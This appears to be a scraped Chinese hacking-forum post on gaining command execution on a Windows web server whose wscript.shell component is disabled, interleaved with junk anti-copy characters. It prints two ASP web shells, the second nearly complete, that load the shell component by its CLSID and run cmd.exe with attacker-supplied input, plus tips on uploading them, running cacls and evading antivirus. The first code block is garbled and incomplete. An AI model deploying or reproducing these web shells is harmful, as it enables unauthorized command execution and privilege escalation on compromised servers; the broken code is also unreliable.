没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  / X- p/ `. S! [, U8 _
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  - H$ r) v0 f. M$ X
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  ) d8 g. n5 _5 r/ R! g4 _
• <%
  
• end if
  " R% X" M5 y3 @  j+ l9 L
• response.write(”")
  , u0 W* B; e: z1 s! C
• On Error Resume
  . M- }: v2 K6 m) n( E# ]3 `
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  4 y- n9 D$ a4 A/ ~$ m
• response.write(”")
  
• response.write(”")
  
• response.write(”
  4 G8 S& i; }. W6 L+ i. z
• “)
  
• response.write(”")
  , V: k, x+ o& ~. R
• %>
  " r* r4 M4 Q! ^& E5 n
• 保存为一个asp文件，然后传到网站目录上去
    [& {' M8 T2 O0 s, x1 b+ h8 r+ }3 Z
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  - `; d8 S% `+ t% c: E2 {8 E
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  ) _$ Z2 C1 p# N# `- u
• <object runat=server id=oScriptlhn scope=page
  . ^3 ?  I* D9 Y0 M0 c
• 
  3 N9 s2 ^6 a6 U6 g
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  " q2 E3 Z( U" P) O: H8 d  ^
• <%
  
• end if
  ( c- p* h5 m1 V8 \6 C
• response.write(”<textarea readonly cols=80
  
• 
  ( g2 r2 T, \1 C. h' E# @
• rows=20>”)
  + g& c$ K6 V  E( n# v2 p/ X
• On Error Resume Next
  4 V* [$ o' v: E3 h3 r* }
• response.write
  # O* l/ u) L5 Y4 p
• 
  , X$ d% l- M% a4 M$ }2 n7 d0 z
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  6 ]% @  \7 C. R' m- f  O
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  
• method=’post’>”)
  ' I8 J, [3 Y% w* ]; K
• response.write(”<input type=text name=’c'
  
• 
  : N" f  z; o" I* `; U( I$ C; `+ m
• size=60><br>”)
  
• response.write(”<input type=submit
  % a* J: V3 v- S# M7 Z8 ~
• 
  / t. b, |# |7 v; c+ T: V2 ?
• value=’执行’></form>”)
    g+ \5 p6 Y( h; \( ]  K" g3 C2 P
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  # K- Q$ V0 ~- \# |9 R

复制代码